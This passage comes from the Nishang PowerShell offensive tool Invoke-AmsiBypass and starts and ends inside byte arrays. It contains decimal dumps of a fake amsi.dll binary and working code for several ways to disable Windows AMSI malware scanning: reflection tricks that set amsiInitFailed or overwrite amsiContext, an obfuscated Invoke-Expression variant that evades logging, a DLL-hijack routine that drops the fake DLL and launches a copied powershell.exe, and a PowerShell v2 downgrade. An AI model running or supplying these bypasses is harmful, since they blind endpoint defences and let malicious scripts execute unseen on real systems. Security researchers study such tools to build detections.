37 0 0 8 0 0 0 46 114 116 99 36 84 65 65 0 0 0 0 40 37 0 0 8 0 0 0 46 114 116 99 36
84 90 90 0 0 0 0 48 37 0 0 60 1 0 0 46 120 100 97 116 97 0 0 108 38 0 0 60 0 0 0 46
105 100 97 116 97 36 50 0 0 0 0 168 38 0 0 20 0 0 0 46 105 100 97 116 97 36 51 0 0 0

0 192 38 0 0 248 0 0 0 46 105 100 97 116 97 36 52 0 0 0 0 184 39 0 0 200 2 0 0 46 105
100 97 116 97 36 54 0 0 0 0 0 48 0 0 52 0 0 0 46 100 97 116 97 0 0 0 64 48 0 0 0 6 0
0 46 98 115 115 0 0 0 0 0 64 0 0 176 1 0 0 46 112 100 97 116 97 0 0 0 80 0 0 16 0 0 0
46 103 102 105 100 115 36 121 0 0 0 0 0 96 0 0 88 0 0 0 46 114 115 114 99 36 48 49 0
0 0 0 96 96 0 0 128 1 0 0 46 114 115 114 99 36 48 50 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 17 21 8 0 21 116 9 0 21 100 7 0 21 52
6 0 21 50 17 224 236 29 0 0 1 0 0 0 207 16 0 0 92 17 0 0 82 30 0 0 0 0 0 0 17 15 6 0
15 100 8 0 15 52 6 0 15 50 11 112 236 29 0 0 1 0 0 0 246 17 0 0 20 18 0 0 105 30 0 0
0 0 0 0 1 6 2 0 6 50 2 80 1 20 8 0 20 100 8 0 20 84 7 0 20 52 6 0 20 50 16 112 9 26 6
0 26 52 15 0 26 114 22 224 20 112 19 96 236 29 0 0 1 0 0 0 102 18 0 0 54 19 0 0 133
30 0 0 54 19 0 0 1 6 2 0 6 82 2 80 1 9 1 0 9 98 0 0 1 8 4 0 8 114 4 112 3 96 2 48 9 4
1 0 4 34 0 0 236 29 0 0 1 0 0 0 215 23 0 0 101 24 0 0 187 30 0 0 101 24 0 0 1 2 1 0 2
80 0 0 1 4 1 0 4 66 0 0 1 6 2 0 6 50 2 48 1 13 4 0 13 52 10 0 13 114 6 80 1 13 4 0 13
52 9 0 13 50 6 80 1 21 5 0 21 52 186 0 21 1 184 0 6 80 0 0 1 15 6 0 15 100 7 0 15 52
6 0 15 50 11 112 1 13 4 0 13 52 7 0 13 50 6 80 0 0 0 0 1 0 0 0 56 39 0 0 0 0 0 0 0 0
0 0 62 40 0 0 120 32 0 0 104 39 0 0 0 0 0 0 0 0 0 0 6 41 0 0 168 32 0 0 192 38 0 0 0
0 0 0 0 0 0 0 114 42 0 0 0 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 106
41 0 0 0 0 0 0 86 41 0 0 0 0 0 0 60 41 0 0 0 0 0 0 40 41 0 0 0 0 0 0 164 41 0 0 0 0 0
0 94 42 0 0 0 0 0 0 72 42 0 0 0 0 0 0 46 42 0 0 0 0 0 0 24 42 0 0 0 0 0 0 2 42 0 0 0
0 0 0 232 41 0 0 0 0 0 0 204 41 0 0 0 0 0 0 184 41 0 0 0 0 0 0 134 41 0 0 0 0 0 0 0 0
0 0 0 0 0 0 52 40 0 0 0 0 0 0 20 40 0 0 0 0 0 0 252 39 0 0 0 0 0 0 218 39 0 0 0 0 0 0
184 39 0 0 0 0 0 0 0 0 0 0 0 0 0 252 40 0 0 0 0 0 0 238 40 0 0 0 0 0 0 214 40 0 0 0
0 0 0 186 40 0 0 0 0 0 0 158 40 0 0 0 0 0 0 124 40 0 0 0 0 0 0 106 40 0 0 0 0 0 0 92
40 0 0 0 0 0 0 80 40 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 40 0 95 95 116 101 108 101 109 101
116 114 121 95 109 97 105 110 95 105 110 118 111 107 101 95 116 114 105 103 103 101
114 0 41 0 95 95 116 101 108 101 109 101 116 114 121 95 109 97 105 110 95 114 101 116
117 114 110 95 116 114 105 103 103 101 114 0 8 0 95 95 67 95 115 112 101 99 105 102
105 99 95 104 97 110 100 108 101 114 0 0 37 0 95 95 115 116 100 95 116 121 112 101 95
105 110 102 111 95 100 101 115 116 114 111 121 95 108 105 115 116 0 0 62 0 109 101
109 115 101 116 0 0 86 67 82 85 78 84 73 77 69 49 52 48 46 100 108 108 0 0 54 0 95
105 110 105 116 116 101 114 109 0 55 0 95 105 110 105 116 116 101 114 109 95 101 0 63
0 95 115 101 104 95 102 105 108 116 101 114 95 100 108 108 0 51 0 95 105 110 105 116
105 97 108 105 122 101 95 110 97 114 114 111 119 95 101 110 118 105 114 111 110 109
101 110 116 0 0 52 0 95 105 110 105 116 105 97 108 105 122 101 95 111 110 101 120 105
116 95 116 97 98 108 101 0 0 60 0 95 114 101 103 105 115 116 101 114 95 111 110 101
120 105 116 95 102 117 110 99 116 105 111 110 0 34 0 95 101 120 101 99 117 116 101 95
111 110 101 120 105 116 95 116 97 98 108 101 0 30 0 95 99 114 116 95 97 116 101 120
105 116 0 22 0 95 99 101 120 105 116 0 0 97 112 105 45 109 115 45 119 105 110 45 99
114 116 45 114 117 110 116 105 109 101 45 108 49 45 49 45 48 46 100 108 108 0 174 4
82 116 108 67 97 112 116 117 114 101 67 111 110 116 101 120 116 0 181 4 82 116 108 76
111 111 107 117 112 70 117 110 99 116 105 111 110 69 110 116 114 121 0 0 188 4 82 116
108 86 105 114 116 117 97 108 85 110 119 105 110 100 0 0 146 5 85 110 104 97 110 100
108 101 100 69 120 99 101 112 116 105 111 110 70 105 108 116 101 114 0 0 82 5 83 101
116 85 110 104 97 110 100 108 101 100 69 120 99 101 112 116 105 111 110 70 105 108
116 101 114 0 15 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 0
112 5 84 101 114 109 105 110 97 116 101 80 114 111 99 101 115 115 0 0 112 3 73 115 80
114 111 99 101 115 115 111 114 70 101 97 116 117 114 101 80 114 101 115 101 110 116 0
48 4 81 117 101 114 121 80 101 114 102 111 114 109 97 110 99 101 67 111 117 110 116
101 114 0 16 2 71 101 116 67 117 114 114 101 110 116 80 114 111 99 101 115 115 73 100
0 20 2 71 101 116 67 117 114 114 101 110 116 84 104 114 101 97 100 73 100 0 0 221 2
71 101 116 83 121 115 116 101 109 84 105 109 101 65 115 70 105 108 101 84 105 109 101
0 84 3 73 110 105 116 105 97 108 105 122 101 83 76 105 115 116 72 101 97 100 0 106 3
73 115 68 101 98 117 103 103 101 114 80 114 101 115 101 110 116 0 75 69 82 78 69 76
51 50 46 100 108 108 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0

0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 50 162 223 45 153 43 0 0 205 93 32 210 102 212 255 255 255 255
255 255 0 0 0 0 1 0 0 0 2 0 0 0 47 32 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 16 0 0 65 16 0 0 48 37 0 0 68 16 0
0 148 16 0 0 16 38 0 0 148 16 0 0 191 17 0 0 52 37 0 0 192 17 0 0 66 18 0 0 96 37 0 0
68 18 0 0 76 19 0 0 164 37 0 0 76 19 0 0 160 19 0 0 144 37 0 0 160 19 0 0 221 19 0 0
72 38 0 0 224 19 0 0 20 20 0 0 24 38 0 0 20 20 0 0 229 20 0 0 212 37 0 0 232 20 0 0
89 21 0 0 220 37 0 0 92 21 0 0 149 21 0 0 16 38 0 0 152 21 0 0 184 21 0 0 16 38 0 0
184 21 0 0 205 21 0 0 16 38 0 0 208 21 0 0 248 21 0 0 16 38 0 0 248 21 0 0 13 22 0 0
16 38 0 0 16 22 0 0 113 22 0 0 144 37 0 0 116 22 0 0 164 22 0 0 16 38 0 0 164 22 0 0
184 22 0 0 16 38 0 0 184 22 0 0 1 23 0 0 24 38 0 0 4 23 0 0 205 23 0 0 32 38 0 0 208
23 0 0 108 24 0 0 232 37 0 0 108 24 0 0 144 24 0 0 24 38 0 0 144 24 0 0 187 24 0 0 24
38 0 0 188 24 0 0 11 25 0 0 24 38 0 0 12 25 0 0 35 25 0 0 16 38 0 0 36 25 0 0 208 25
0 0 44 38 0 0 252 25 0 0 23 26 0 0 16 38 0 0 32 26 0 0 101 27 0 0 56 38 0 0 104 27 0
0 178 27 0 0 72 38 0 0 180 27 0 0 254 27 0 0 72 38 0 0 8 28 0 0 201 29 0 0 88 38 0 0
80 30 0 0 82 30 0 0 104 38 0 0 82 30 0 0 105 30 0 0 136 37 0 0 105 30 0 0 133 30 0 0
136 37 0 0 133 30 0 0 187 30 0 0 204 37 0 0 187 30 0 0 211 30 0 0 8 38 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 54 0 0 0 73 0 0 0 76
0 0 0 11 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 1 0 24 0 0 0 24 0 0 128 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 2 0 0 0 48 0 0 128 0 0 0
0 0 0 0 0 0 0 0 0 0 0 1 0 9 4 0 0 72 0 0 0 96 96 0 0 125 1 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 60 63 120 109 108 32 118 101 114 115 105 111 110 61 39 49 46 48 39 32 101
110 99 111 100 105 110 103 61 39 85 84 70 45 56 39 32 115 116 97 110 100 97 108 111
110 101 61 39 121 101 115 39 63 62 13 10 60 97 115 115 101 109 98 108 121 32 120 109
108 110 115 61 39 117 114 110 58 115 99 104 101 109 97 115 45 109 105 99 114 111 115
111 102 116 45 99 111 109 58 97 115 109 46 118 49 39 32 109 97 110 105 102 101 115
116 86 101 114 115 105 111 110 61 39 49 46 48 39 62 13 10 32 32 60 116 114 117 115
116 73 110 102 111 32 120 109 108 110 115 61 34 117 114 110 58 115 99 104 101 109 97
115 45 109 105 99 114 111 115 111 102 116 45 99 111 109 58 97 115 109 46 118 51 34 62
13 10 32 32 32 32 60 115 101 99 117 114 105 116 121 62 13 10 32 32 32 32 32 32 60 114
101 113 117 101 115 116 101 100 80 114 105 118 105 108 101 103 101 115 62 13 10 32 32
32 32 32 32 32 32 60 114 101 113 117 101 115 116 101 100 69 120 101 99 117 116 105
111 110 76 101 118 101 108 32 108 101 118 101 108 61 39 97 115 73 110 118 111 107 101
114 39 32 117 105 65 99 99 101 115 115 61 39 102 97 108 115 101 39 32 47 62 13 10 32
32 32 32 32 32 60 47 114 101 113 117 101 115 116 101 100 80 114 105 118 105 108 101

```
103 101 115 62 13 10 32 32 32 32 60 47 115 101 99 117 114 105 116 121 62 13 10 32 32
60 47 116 114 117 115 116 73 110 102 111 62 13 10 60 47 97 115 115 101 109 98 108 121
62 13 10 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0
0 24 0 0 0 248 160 0 161 88 161 96 161 56 162 80 162 88 162 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
0 0 0 0"

    if (([IntPtr]::Size) -eq 8)
    {
        Write-Verbose "64 bit process detected."
        $DllBytes = $AmsiX64
    }
    elseif (([IntPtr]::Size) -eq 4)
    {
        Write-Verbose "32 bit process detected."
        $DllBytes = $AmsiX86
    }

    switch($method)
    {

        "unload"
        {
            Write-Verbose "Using Matt Graeber's Reflection method."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output
'[Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'').GetField(''amsiIn
itFailed'',''NonPublic,Static'').SetValue($null,$true)'
            }
            else
            {
                Write-Output "Executing the bypass."

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFa
iled','NonPublic,Static').SetValue($null,$true)
            }
        }

        "unloadsilent"
        {
            Write-Verbose "Using Matt Graeber's Reflection method with WMF5
autologging bypass."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
```

```
                Write-Output '[Delegate]::CreateDelegate(("Func``3[String,
$(([String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags'')).FullName),
System.Reflection.FieldInfo]" -as [String].Assembly.GetType(''System.T''+''ype'')),
[Object]([Ref].Assembly.GetType(''System.Management.Automation.AmsiUtils'')),
(''GetFie''+''ld'')).Invoke(''amsiInitFailed'',((''Non''+''Public,Static'') -as
[String].Assembly.GetType(''System.Reflection.Bindin''+''gFlags''))).SetValue($null,$
True)'
            }
            else
            {
                Write-Output "Executing the bypass."
                [Delegate]::CreateDelegate(("Func``3[String,
$(([String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName),
System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')),
[Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),
('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as
[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True
)
            }
        }

        "unloadobfuscated"
        {
            Write-Verbose "Using Matt Graeber's Reflection method with obfuscation
from Daneil Bohannon's Invoke-Obfuscation - which bypasses WMF5 autologging."
            if ($ShowOnly -eq $True)
            {
                $code = @"
Sv  ('R9'+'HYt') ( " )
)93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'
aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maU
CS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m
'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI"  );  Invoke-
Expression( -Join ( VaRIAbLe  ('R9'+'hyT')  -val  )[ - 1..- (( VaRIAbLe  ('R9'+'hyT')
-val  ).Length)])
"@
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output $code
            }
            else
            {
                Write-Output "Executing the bypass."
                Sv  ('R9'+'HYt') ( " )
)93]rahC[]gnirtS[,'UCS'(ecalpeR.)63]rahC[]gnirtS[,'aEm'(ecalpeR.)')eurt'+'aEm,llun'+'
aEm(eulaVt'+'eS'+'.)UCScit'+'atS,ci'+'lbuPnoNUCS'+',U'+'CSdeli'+'aFt'+'inI'+'is'+'maU
CS('+'dle'+'iF'+'teG'+'.'+')'+'UCSslitU'+'is'+'mA.noitamotu'+'A.tn'+'em'+'eganaM.'+'m
'+'e'+'t'+'sySUCS(epy'+'TteG.ylbmessA'+'.]'+'feR['( (noisserpxE-ekovnI"  );  Invoke-
Expression( -Join ( VaRIAbLe  ('R9'+'hyT')  -val  )[ - 1..- (( VaRIAbLe  ('R9'+'hyT')
-val  ).Length)])

            }
        }

        "unload2"
        {
            Write-Verbose "Using Matt Graeber's second Reflection method."
            if ($ShowOnly -eq $True)
            {
```

```
                Write-Output "Use the following scriptblock before you run a script
which gets detected."
                Write-Output
'[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType(''System.Manage
ment.Automation.AmsiUtils'').GetField(''amsiContext'',
[Reflection.BindingFlags]''NonPublic,Static'').GetValue($null),0x41414141)'
            }
            else
            {
                Write-Output "Executing the bypass."

[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Manageme
nt.Automation.AmsiUtils').GetField('amsiContext',
[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
            }
        }

        "dllhijack"
        {
            Write-Verbose "Using Cornelis de Plaa's DLL hijack method."
            if ($ShowOnly -eq $True)
            {
                Write-Output "Copy powershell.exe from
C:\Windows\System32\WindowsPowershell\v1.0 to a local folder and dropa fake amsi.dll
in the same directory."
                Write-Output "Run the new powershell.exe and AMSI should be gone for
that session."
            }
            else
            {
                [Byte[]] $temp = $DllBytes -split ' '
                Write-Output "Executing the bypass."
                Write-Verbose "Dropping the fake amsi.dll to disk."
                [System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp)

                Write-Verbose "Copying powershell.exe to the current working
directory."
                Copy-Item -Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Destination $pwd

                Write-Verbose "Starting powershell.exe from the current working
directory."
                & "$pwd\powershell.exe"

            }
        }

        "psv2"
        {
            Write-Verbose "Using PowerShell version 2 which doesn't support AMSI."
            if ($ShowOnly -eq $True)
            {
                Write-Output "If .Net version 2.0.50727 is installed, run powershell
-v 2 and run scripts from the new PowerShell process."
            }
            else
            {
                Write-Verbose "Checking if .Net version 2.0.50727 is installed."
                $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework
```

```
Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -
match '^(?!S)\p{L}'} | Select -ExpandProperty Version
                if($versions -match "2.0.50727")
                {
                    Write-Verbose ".Net version 2.0.50727 found."
                    Write-Output "Executing the bypass."
                    powershell.exe -version 2
                }
                else
                {
                    Write-Verbose ".Net version 2.0.50727 not found. Can't start
PowerShell v2."
                }
            }
        }

        "obfuscation"
        {
            Write-Output "AMSI and the AVs which support it can be bypassed using
obfuscation techqniues."
            Write-Output "ISE-Steroids
(http://www.powertheshell.com/isesteroidsmanual/download/) and Invoke-Obfuscation can
be used (https://github.com/danielbohannon/Invoke-Obfuscation)."
        }
    }

}

function Invoke-AmsiBypass
{
<#
.SYNOPSIS
Nishang script which uses publicly known methods to bypass/avoid AMSI.

.DESCRIPTION
This script implements publicly known methods bypass or avoid AMSI on Windows
machines.

AMSI is a script malware detection mechanism enabled by default in Windows 10.
(https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx)

This script implements 6 methods of bypassing AMSI.
unload - Method by Matt Graeber. Unloads AMSI from current PowerShell session.
unload2 - Another method by Matt Graeber. Unloads AMSI from current PowerShell
session.
unloadsilent - Another method by Matt Graeber. Unloads AMSI and avoids WMF5
autologging.
unloadobfuscated - 'unload' method above obfuscated with Daneil Bohannon's Invoke-
Obfuscation - which avoids WMF5 autologging.
dllhijack - Method by Cornelis de Plaa. The amsi.dll used in the code is from
p0wnedshell (https://github.com/Cn33liz/p0wnedShell)
psv2 - If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which
doesn't support AMSI.

The script also provides information on tools which can be used for obfuscation:
ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/)
Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation)

.PARAMETER Method
```

```
The method to be used for elevation. Defaut one is unloadsilent.

.PARAMETER ShowOnly
The bypass is not executed. Just shown to the user.

.EXAMPLE
PS > Invoke-AmsiBypass -Verbose
Above command runs the unloadsilent method.

.EXAMPLE
PS > Invoke-PsUACme -Method unloadobfuscated -Verbose
Above command runs the unloadobfuscated method.

.LINK
http://www.labofapenetrationtester.com/2016/09/amsi.html
https://github.com/samratashok/nishang
#>


    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $False)]

[ValidateSet("unload","unloadsilent","unloadobfuscated","unload2","dllhijack","psv2",
"obfuscation")]
        [String]
        $Method = "unloadsilent",

        [Parameter(Position = 1, Mandatory = $False)]
        [Switch]
        $ShowOnly
    )

    $AmsiX86 = "77 90 144 0 3 0 0 0 4 0 0 0 255 255 0 0 184 0 0 0 0 0 0 0 64 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 0 0 0 14 31 186 14
0 180 9 205 33 184 1 76 205 33 84 104 105 115 32 112 114 111 103 114 97 109 32 99 97
110 110 111 116 32 98 101 32 114 117 110 32 105 110 32 68 79 83 32 109 111 100 101 46
13 13 10 36 0 0 0 0 0 0 0 190 171 71 149 250 202 41 198 250 202 41 198 250 202 41 198
243 178 186 198 248 202 41 198 148 145 40 199 249 202 41 198 148 145 42 199 251 202
41 198 148 145 44 199 242 202 41 198 148 145 45 199 241 202 41 198 39 53 226 198 248
202 41 198 250 202 40 198 231 202 41 198 40 145 33 199 251 202 41 198 40 145 214 198
251 202 41 198 40 145 43 199 251 202 41 198 82 105 99 104 250 202 41 198 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 80 69 0 0 76 1 6 0 144 29 62 87 0 0 0 0 0 0 0 0 224 0 2 33 11 1
14 0 0 14 0 0 0 18 0 0 0 0 0 0 43 19 0 0 0 16 0 0 0 32 0 0 0 0 0 16 0 16 0 0 0 2 0 0
6 0 0 0 0 0 0 0 0 6 0 0 0 0 0 0 0 0 112 0 0 0 4 0 0 0 0 0 0 2 0 64 1 0 0 16 0 0 16 0 0
0 0 16 0 0 16 0 0 0 0 0 0 0 16 0 0 0 0 0 0 0 0 0 0 0 148 36 0 0 80 0 0 0 0 80 0 0 224 1
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 96 0 0 44 1 0 0 176 32 0 0 112 0 0 0 0 0 0 0 0
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 33 0 0 64 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 112
0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 46 116 101 120 116 0 0 0 124 12
0 0 0 16 0 0 0 14 0 0 0 4 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 32 0 0 96 46 114 100 97 116 97
0 0 220 7 0 0 0 32 0 0 0 8 0 0 0 18 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 64 46 100 97
116 97 0 0 0 136 3 0 0 0 48 0 0 0 2 0 0 0 26 0 0 0 0 0 0 0 0 0 0 0 0 0 0 64 0 0 192
46 103 102 105 100 115 0 0 20 0 0 0 0 64 0 0 0 2 0 0 0 28 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
64 0 0 64 46 114 115 114 99 0 0 0 224 1 0 0 0 80 0 0 0 2 0 0 0 30 0 0 0 0 0 0 0 0 0 0
0 0 0 0 64 0 0 64 46 114 101 108 111 99 0 0 44 1 0 0 0 96 0 0 0 2 0 0 0 32 0 0 0 0 0
0 0 0 0 0 0 0 0 0 64 0 0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
